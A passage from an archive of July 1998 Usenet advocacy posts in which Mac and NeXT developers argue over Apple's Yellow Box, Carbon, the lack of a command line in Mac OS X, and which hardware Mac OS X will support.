that it will run on the Micron laptop that his arch-rival PC wonk owns.
Fortunately, VPC is in the world in the meantime...
I know that it _will_ run in a few months, but that only cures the
pissed-offs to a certain degree...
-Bob Cassidy
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 13 Jul 1998 20:55:08 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ods7c$lh3$2@lwnws01.ne.highway1.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com>
bgrubb@zianet.com (Bruce L. Grubb) wrote:
> I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
> was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
> noone used it that way. As for the other thinkgs a CLI can do there is
> AppleScript. So other then the obvious matter of resources what is so
> important about a CLI that cannot be done in a GUI?
Nothing, the GUI, and in particular the apple solutions, are obviously the
most superior methods of accomplishing something. The idea that other ways
might be better is clearly silly. Anyone that thinks differently has
obviously not been drinking their koolaid regularly.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <35AA69A9.BD6A8D0A@alum.mit.edu>
Message-ID: <35aa792c.0@news.depaul.edu>
Date: 13 Jul 98 21:16:28 GMT
In comp.sys.next.advocacy Eric Hermanson <eric@alum.mit.edu> wrote:
> Jonathan W Hendry wrote:
> > In comp.sys.next.advocacy Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
> >
> > > Apple's biggest failing has been the lack of a turnkey demo,
> > > constructed from a traditional Mac programmer's perspective, of what
> > > makes YB so special. I think a proactive education campaign would have
> > > had a significant effect on the Mac programming community.
> >
> > An updated, Quicktime version of the NeXT vs. Sun video would be
> > good. A Yellow vs. Carbon competition instead of the original.
>But why would a comparison video work now, when it didn't work in the NeXT vs.
>Sun days?
Because it's a less-hostile audience.
It was difficult for Apple to sell Mac programmers on YB when it had either
the NeXT or Windows interfaces. I think that different UI caused in
some programmers a knee-jerk response of 'that does me no good. Wake
me when it's on a Mac'. Some Mac developers got it, but it wasn't as
easy a sell as it could be.
Once 'Apple' has made YellowBox 'it's own' - once Apple can pass it off
as Apple technology, and not an alien thing - it will be much easier
to get even the most stubborn programmers to at least listen.
>I think, unfortunately, that most people are stubborn and adverse to
>change. Programmers are especially egotistical when it comes to the tools that
>they use. It would take an act of God for me to switch away from
>YB/EOF/WO, and likewise, there are obviously tons of Windows programmers
>who find that MS C++ is the holy grail (albeit they are obviously stupid).
I'm not sure that's true. Programmers will grab a better tool like
a frog catching a fly - if it makes sense.
OS/EOF are great, and a Visual C++ programmer would probably see that,
but they'd probably be stopped cold by the per-seat license costs. That
hundreds-of-dollars per seat fee is a big hurdle for in-house custom
apps, let alone retail.
Likewise, for most Mac programmers, YellowBox doesn't really make that
much sense. These are programmers who are trying to justify continued
support of MacOS with their current apps. It'll be a while before
they're ready to seriously consider investing in writing new software,
so right now, YellowBox is of no use to them.
Their need is to maintain their current software. YellowBox doesn't
fill that need.
Unfortunately, Apple may take this apparent lack of interest as
a signal to kill YellowBox, instead of just a dormant ISV
community.
>I think Apple needs to take the "force it down your throat" approach that
>Microsoft always seems to sucessfully take.
Apple can't do that.
The difference is that Windows software vendors can actually make money.
And, they don't generally need to rewrite their applications. When
Mac ISV's get beyond subsistence revenue, and start contemplating
new projects, *then* they'll consider using YellowBox.
Apple could give YB to developers, and they wouldn't care, because
salaries still need to be paid. If Apple paid salaries, then you'd see
some YellowBox development. As it is, Mac ISV's will pay their
employees to do things that generate revenue, which means working
on MacOS API apps.
This is why Apple should start a venture capital fund to provide
seed financing to new startups. *Be* is doing it, why not Apple?
They could easily take $5-$10 million a year and fund 10-20 new
projects.
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
Message-ID: <35aa6842.0@news.depaul.edu>
Date: 13 Jul 98 20:04:18 GMT
In comp.sys.next.advocacy Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
> Apple's biggest failing has been the lack of a turnkey demo,
> constructed from a traditional Mac programmer's perspective, of what
> makes YB so special. I think a proactive education campaign would have
> had a significant effect on the Mac programming community.
Have Mac programmers ever been subjected to a Genuine Steve IB Demo?
If not, that's unfortunate, because there won't be a useful forum
for that until January Expo. More likely WWDC next May.
An updated, Quicktime version of the NeXT vs. Sun video would be
good. A Yellow vs. Carbon competition instead of the original. Then
developers could just watch it online, and pass it around. No
expensive mailers needed. (Hm. Who to feature? Omni vs. Metrwerks?)
--
"... and subpoenas for all." - Ken Starr
From: duke@tipitina.demon.co.uk (Richard Dale)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Mon, 13 Jul 1998 20:33:39 +0100
Organization: Lost Highway Ltd
Message-ID: <duke-1307982033390001@tipitina.demon.co.uk>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6o82ke$cci$1@news.cs.tu-berlin.de> <1dc0ram.aakj3s1mzlce8N@rhrz-isdn3-p45.rhrz.uni-bonn.de> <6o93p4$gqo11@odie.mcleod.net> <1dc1ug1.1gnkubnhv5nlsN@rhrz-isdn3-p16.rhrz.uni-bonn.de> <6oap5c$9vc5@odie.mcleod.net>
There is an excellent new book out called 'Design Patterns - the Smalltalk
Companion' (or something similar I'm afraid I don't have a copy to hand
for the exact title/authors). It is intended to complement the GoF book.
The patterns are either simpler to implement in Smalltalk or they come as
part of the class libraries provided with the implementation (as you say
below for Java/Objective-C). As Objective-C was derived from Smalltalk and
only blocks are missing from the point of view of implemting patterns, the
book is equally valid for Objective-C design. I wonder which version of
the patterns a Java programmer would use - perhaps it would depend on
whether they were ex-Smalltalk or ex-C++ ?
-- Richard
In article <6oap5c$9vc5@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> Michael Schuerig wrote in message
> <1dc1ug1.1gnkubnhv5nlsN@rhrz-isdn3-p16.rhrz.uni-bonn.de>...
>
> On a side note: "Design Patterns" by Gamma et.al. is a wonderful seminal
> book. It is interesting to observe that every pattern described is either
> not necessary in Objective-C/Java because it is built into the language or
> can be implemented with a small fraction of the code required for C++.
> Would you rather maintain 100,000 lines of EARLY bound STRONGLY typed C++ or
> 20,000 lines of LATE bound STRONGLY typed Java/Objective-C ?
>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 12:32:23 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981232230001@dante.eng.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com>
In article <6o5plf$2j3$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
>In regards to OS X compatibility with Macs using G3-based upgrade
>cards, Tevanian said, "There are no guarantees as to whether or not
>it will run on a third party G3 card. We have no plans to test any
>of those, so theoretically by luck it might run on some, but there's
>no plans to support that."
That is the key statement. Apple will not 'support' (in quotes for a
reason) pre G3 hardware, and will not promise that it will run there
('theoretically by luck'). But at the same time, it appears that they will
not prevent you from trying on any daughtercard upgradable Apple branded
hardware.
I'd say the likelihood of Mac OS X running on stock
7600/8500/8600/9500/9600 systems is good.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 12:36:21 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981236210001@dante.eng.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com>
In article <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com>, mpaque@wco.com
(Mike Paquette) wrote:
>That should be 'Director of OS Technology Product Marketing' at Apple.
>There's a difference...
Ah, sounds like the engineers want to make sure we don't confuse a
marketing weenie with one of them. Probably a wise move... :-)
-Bob Cassidy
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 13 Jul 1998 13:10:17 -0700
Organization: Digital Universe Corporation
Message-ID: <35AA69A9.BD6A8D0A@alum.mit.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 13 Jul 1998 20:10:08 GMT
Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
>
> > Apple's biggest failing has been the lack of a turnkey demo,
> > constructed from a traditional Mac programmer's perspective, of what
> > makes YB so special. I think a proactive education campaign would have
> > had a significant effect on the Mac programming community.
>
> An updated, Quicktime version of the NeXT vs. Sun video would be
> good. A Yellow vs. Carbon competition instead of the original.
But why would a comparison video work now, when it didn't work in the NeXT vs.
Sun days? I think, unfortunately, that most people are stubborn and adverse to
change. Programmers are especially egotistical when it comes to the tools that
they use. It would take an act of God for me to switch away from YB/EOF/WO, and
likewise, there are obviously tons of Windows programmers who find that MS C++
is the holy grail (albeit they are obviously stupid).
I think Apple needs to take the "force it down your throat" approach that
Microsoft always seems to sucessfully take. They need to get millions of FREE
copies of their most important software out in the hands of users and
developers, and THEN, after the mindshare effect has taken hold, they can start
charging all those millions of people upgrade fees. I am convinced that is the
way Microsoft duped millions of people into using Windows (the developers using
MS C++ to develop Windows programs simply follow by natural extension -big
market equals big profit).
A mass giving away of YB, EOF, and WebObjects would no doubt raise some eyebrows
and cause people to at least give them a try. Once they realize they can write
cross-platform software with relative ease, there would be little reason for
them not to switch. Apple would then make a killing by charging those people
for full licenses or upgrades to the existing products. The same goes for a
mass-giving away of Rhapsody OS X.
Eric
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 13 Jul 1998 19:25:16 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6odmus$fin@newsb.netnews.att.com>
References: <35AA8501.CF6AAF27@nospam.com>
Originator: gupta@tlctest
Tim Triemstra <nospam@nospam.com> wrote:
>
>So, is there anything in print or on an official web site regarding
>Yellow Box that has been possitive or forward thinking - that has been
>published since the Carbon announcement? I can't find anything, and I
>think I would be a flaming idiot to program for Yellow until there is
>something to hear.
Well, http://developer.apple.com/rhapsody/, last updated July 10, 1998,
says "Rhapsody includes a breakthrough software development
platform, code-named Yellow Box, for building new classes of
reliable, media-rich and cross platform applications."
Sounds positive.
-akg
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Mon, 13 Jul 1998 21:34:47 +0200
Organization: Completely Disorganized
Message-ID: <1dc4e3m.1auf8v3e6qnr4N@rhrz-isdn3-p1.rhrz.uni-bonn.de>
References: <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com> <6odavf$m73$1@flotsam.uits.indiana.edu>
Mail-Copies-To: never
Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
> AppleScript can take a paragraph to do what can be done in a single line
> of typing on a Unix system. It's considerably more verbose. In its
> attempt to mimic natural language, it becomes harder to work with.
Maybe. But, OTOH, there are probably things you can do with AppleScript
that you can't do from a CLI or shell script. With AppleScript it is
easy to tie together interactive applications. The point is not, though,
if everything can in principle be done with AS or a CLI alone. Both
types of scripting have different foci: CLI is best for batch-like
processing, whereas AS lends itself well to use in interactive apps.
There are uses for both and I want 'em both.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 13 Jul 1998 20:32:13 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6odqsd$hk0$1@sun27.hrz.tu-darmstadt.de>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com> <35AA8254.BF3EA723@nospam.com>
Tim Triemstra <nospam@nospam.com> wrote:
>
>As much as I'd like to believe that Apple has YB as a primary focus for
>the future, I absolutely don't believe it for a second anymore. Have
>you noticed that the only quotes regarding Yellow Box anyone has seen in
>print for 6 months or more have come from non-Apple people? Have you
>noticed that every quote coming from Apple is either about Carbon,
>QuickTime or hardware? Have people been counting the number of times
>they've read "Apple is still a hardware company" since the initial YB
>announcements?
I am as worried as you are, Tim. If Apple abandons YB, we developers can
pretty much kiss our *sses good-bye. Welcome to the wonderful world of
Win32, or the great modern technology that Sun Software brings us. Can
you say 'StringBuffer'? Great language, but boy, crappy design.
On the other hand, put yourself in Apple's position. Touting YB would
be the wrong thing to do, as it would send out the wrong message. Apple
needs a massive migration to Carbon, otherwise, they cannot get rid of
the old, fragile MacOS underpinnings, and replace it with a stable,
modern kernel. Apple needs to convince developers to use Carbon, and
it cannot do so by saying, 'hey, we'd like you to use Carbon, but we
really will migrate to something totally different a few months later'.
Now if we see ex-NeXT employees leaving en masse, then it's really
time to worry. Me at least, I'm postponing purchases of Apple HW
until these matters are somewhat more clear. An Apple that abandons
YB has no future if you ask me - but the fat lady hasn't sung yet.
As long as Mike is still around, I'm not afraid.
Mike? Mike??
Ohmygawd. :-)
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
ing for those technologies).
Eric
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: 13 Jul 1998 20:36:11 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6odr3r$hk0$2@sun27.hrz.tu-darmstadt.de>
References: <6o3vu2$m80$1@news.xmission.com> <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk> <slrn6qd35g.30p.sal@panix3.panix.com> <rmcassid-1307981242100001@dante.eng.uci.edu>
rmcassid@uci.edu (Robert Cassidy) wrote:
>In article <slrn6qd35g.30p.sal@panix3.panix.com>, sal@panix3.panix.com
>(Salvatore Denaro) wrote:
>
>>"The big challenge is drivers. We would rather do drivers for the PCI
>>Macs first, the rest of the world when that's done."
>>
>>What would be the message to Mac owners if thier 9600s couldn't run
>>MacOSX but a DellMMX from the same time could run it?
>
>Good point. Bob is currently marginally pissed-off that WebObjects, let
>alone DR2 won't run on his hopefully-soon-to-be-arriving Powerbook G3, but
>that it will run on the Micron laptop that his arch-rival PC wonk owns.
Amen, brother.
>I know that it _will_ run in a few months, but that only cures the
>pissed-offs to a certain degree...
Hm. You sure it will?
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 13 Jul 1998 20:52:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ods31$lh3$1@lwnws01.ne.highway1.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <6o5k4c$r2d$1@crib.corepower.com> <6o5n32$6q$2@news.xmission.com> <Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk>
Fergus.Doherty@nottingham.ac.uk (Fergus Doherty) wrote:
> In article <6o5n32$6q$2@news.xmission.com>, don@misckit.com wrote:
>
> > And Apple has apparently forgotten that many people work in
> > places where Mac harware is verboten, but Intel hardware running
> > a Mac OS could be slipped past purchasing. Apple is in effect
> > forcing these folks into a computing ghetto that they can't
> > leave.
>
> Exactly. My institution has a new It policy that makes it hard
> to purchase Macs. And certainly if the computer is purchased by
> a School or Department, rather than an individual buying it for
> research purpose with grant money, it will be almost impossible.
> So if we had MacOSX (or whatever) for Intel compatibles many Mac
> users would go for it, even if it meant buying the OS. The
> problem would be the apps. It would be really nice if you could
> run MS Office (I know, I know, but it is the "standard"), possible
> the Windows versions.
>
> This may be the only way to infilitrate the PC world, and eventually
> maybe sell Mac hardware.
Yes, but the greedy gusses at apple, I'm guessing the same idiots that think
that the bulk of the population has no problems paying a 35% premium for
apple hardware, believe that if they do this they will lose all their mac
hardware sales (big woop) because there would be little reason to buy their
hardware. CLUE! If that is so, maybe you should reevaluate the value of
your hardware! Maybe it's not worth the 35% premium if simply putting the OS
on another hardware platform presents such a danger. Maybe it would be wise
to ramp into a nice fat margin product like software on a wider base, than
continue on the hoping of finding enough suckers to pay big margins for
relatively little in return. Nah, it just couldn't be that way. Mac
hardware is without a doubt the best price/performance equipment. Then the
reason for them not putting the OS on Intel hardware, since there would be
nothing to fear because people see how great a value the apple hardware is
and will not leave it if given a chance, and thus by providing an Intel
product would only increase marketshare by allowing those that simply cannot
buy into apple for other reasons, the reason for not doing that, putting
MacOSX on Intel, would only be stupidity. So it's either stupidity, or the
realization that the hardware doesn't warrant as high a premium as they
charge. Either way it's a lame strategy.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 16:18:05 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6o721r$1log$1@piglet.cc.uic.edu>
On 11 Jul 1998, Anil T Maliyekke wrote:
> Pulsar (tokarek@uiuc.edu) wrote:
>
> : It would make sense to support Mac OS X on the first generation PCI
> : PowerMacs since most of the work for that will be done for Rhapsody unless
> : you consider that Apple may think it can make more money forcing owners of
> : these machines to buy brand new G3 or G4 machines.
>
> On the otherhand, maybe Apple doesn't expect the vast majority of users of
> the older machines to upgrade to a new more resource intensive
> operating system, so they can't justify the costs of supporting
> the older machines for the few people who might upgrade. Besides
> they are stilling going to develop System 8 for those machines
> so it won't be like those users are being completely left out in
> the cold.
Mac OS 8 sold over 2 million copies in its first couple of months.
There is nothing about Mac OS X that should be more resource intensive
than Rhapsody. In fact, it should be _less_ resource intensive! I think
you and Apple underestimate the demand for an "advanced" OS in the
Macintosh community. Even Mac OS 8 which was not such a significant
advance architecturally sold extremely well. If Mac OS X had more
hardware support would you care to guess how many copies it would sell?
There is no good reason for Apple to fragment the market so much. There is
absolutely no good excuse for Apple to alienate a large number of normally
loyal Mac users by dropping support for their machines unreasonably.
> As for Rhapsody, I don't think it is even clear which machines
> it will end up supporting, so I don't think you can argue that
> all the work will be done already.
Umm... Serious work on Mac OS X is not supposed to start until _after_
Rhapsody 1.0 is finished. By then the supported hardware list will most
definitely be known! All the work _will_ be done by that point so I most
certainly can argue that!
> It's not clear to me which
> kernel they are going to use in Rhapsody/Mac OS X Server 1998
> edition and Mac OS X (and Server?) 1999 edition.
Rhapsody: Apple variant of Mach 2.5
Mac OS X: Apple variant of Mach 3.0
> Considering the new name for Rhapsody, I wouldn't be suprised if Apple
> doesn't put to much effort into supporting 603e and slower, older
> 604 systems.
There is no reason why these systems should be too slow for Rhapsody or
even Mac OS X. Both of those are based on NeXT/OpenStep which ran better
on NeXT 68040 hardware than the Mac OS on equivalent Mac 68040 hardware.
The PowerMacs in question are dozens of times faster than these machines.
There is no emulated code baggage to carry around so Rhapsody should be
even faster. Mac OS is supposed to be even faster than Rhapsody.
Furthermore, the _reference_ system for Rhapsody is not supported in Mac
OS X. PowerMac G3 support had to be _added_ in. They were not originally
on the supported list.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 13 Jul 1998 23:43:41 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6oe63d$2r6$1@vixen.cso.uiuc.edu>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144>
Lawson English (english@primenet.com) wrote:
: Robert Cassidy <rmcassid@uci.edu> said:
:
: >I'd say the likelihood of Mac OS X running on stock
: >7600/8500/8600/9500/9600 systems is good.
:
:
:
: But what of my brand new 7300/180? That's a 604e-based system also. I
: bought it specifically to be able to run and program for Rhapsody just 2-3
: months ago.
Then run and program for MacOS X Server (nee Rhapsody). Nobody's gonna
stop you, and at least your code will still work for MacOS X. You'll also
be able to run your MacOS apps, and take advantage of a superior dev.
environment. Sounds good to me!
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 13 Jul 1998 21:13:06 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6odt92$lh3$3@lwnws01.ne.highway1.com>
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> Bruce L. Grubb <bgrubb@zianet.com> wrote:
> > I agree. Furthermore CLIs for the MacOSs have not done that
> > well. MacDOS was very shortlived. HyperCard 1.0-2.1 could be
> > used as a CLI but next to noone used it that way. As for the
> > other thinkgs a CLI can do there is AppleScript. So other then
> > the obvious matter of resources what is so important about a
> > CLI that cannot be done in a GUI?
> Mac Toaster X is going to be a toaster: more reliable, more
> efficient, more convenient, but just a toaster.
>
> This is a great loss, but one that only those who've enjoyed
> baking with an oven (yet still very much relish their toast!)
> will understand.
Yet another case where the arrogant ignorance, the consequences and
ramifications of that ignorance in getting what they asked for, is pretty
much perfect, apt, and appropriate punishment.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity? (Now, the twilight zone)
Date: Mon, 13 Jul 1998 19:04:41 -0500
Organization: Prairie Group
Message-ID: <MPG.10145c959cb2eb25989990@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <vtNp1.383$7k7.493478@news.rdc1.sdca.home.com> <6od8gt$t0j$1@apakabar.cc.columbia.edu>
In article <6od8gt$t0j$1@apakabar.cc.columbia.edu>, ff48@columbia.edu
says...
> Mac users and developers are so conservatives. They sucks!! Since two years,
> they just don't want to learn and listen. They are reluctant to the future.
> MAC.... OPEN YOUR MIND. You have been fooled during so many years by APPLE.
> Learn how to take benefit of Netinfo, InterfaceBuilder, Project Builder,
> Objective-C, ..... Go on boys, you can do it.
>
> A recent NeXT/OpenStep user, a tired MAC user.
For me, it's not being conservative. It's economics.
Right now, an OpenStep program lets me write a program for Next users,
and for Windows via YellowBox. Is YellowBox for Windows shipping yet?
Are there any commercial YellowBox created programs I can look at to
evaluate if it makes sense as a Windows development environment?
Relatively soon, it will also run on MacOS X for Servers. Not my target
audience.
In a little over year, presuming everything goes forward, the target
market will expand to MacOS X users. Which we are now learning will only
run on machines introduced in the last few months, leaving the vast
majority of the installed Mac base unable to run an OpenStep program.
Its very hard now to make a living as a Mac software producer. Not
impossible, but hard. Slice out 90% of the Macs out there, and it just
became impossible.
Here's what I would need before I even care about how great it is:
Statements from Apple that would convince me that YellowBox for Windows
has a future.
Some Windows apps created by OpenStep/YellowBox so I can try them out and
see if they are Windows-like and are of reasonable size.
A YellowBox for MacOS 7.x and 8.x
Statements from Apple that would convince me that YellowBox for Mas has a
future.
Some Mac apps created by OpenStep/YellowBox so I can try them out and see
if they are Mac-like and are of reasonable size.
Until I have these five things, it doesn't matter how good OpenStep is, I
cannot use it to make money and I must make money to pay my landlord and
electric company and other bills. It's just irrelevant.
Donald
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 13 Jul 1998 20:54:40 GMT
Organization: Digital Fix Development
Message-ID: <6ods6g$g5u$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu>
In-Reply-To: <35aa6842.0@news.depaul.edu>
On 07/13/98, Jonathan W Hendry wrote:
>In comp.sys.next.advocacy Gregory H. Anderson <Greg_Anderson@afs.com>
wrote:
>
>> Apple's biggest failing has been the lack of a turnkey demo,
>> constructed from a traditional Mac programmer's perspective, of
what
>> makes YB so special. I think a proactive education campaign would
have
>> had a significant effect on the Mac programming community.
>
>Have Mac programmers ever been subjected to a Genuine Steve IB Demo?
>If not, that's unfortunate, because there won't be a useful forum
>for that until January Expo. More likely WWDC next May.
>
Jordan Dea Mattson showed us his version at WWDC YB boot camp.
You go from a whizzy example to full-fledged YB text editor
with multiple documents and undo and loading/saving with something
less than a half-dozen lines of code.
I've written an article based on this demo for Stepwise (its a
step-by-step walkthough to create this application, only for .html
instead of .rtf.)
I'm going to put it up on the site late tonight..
http://www.stepwise.com/
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
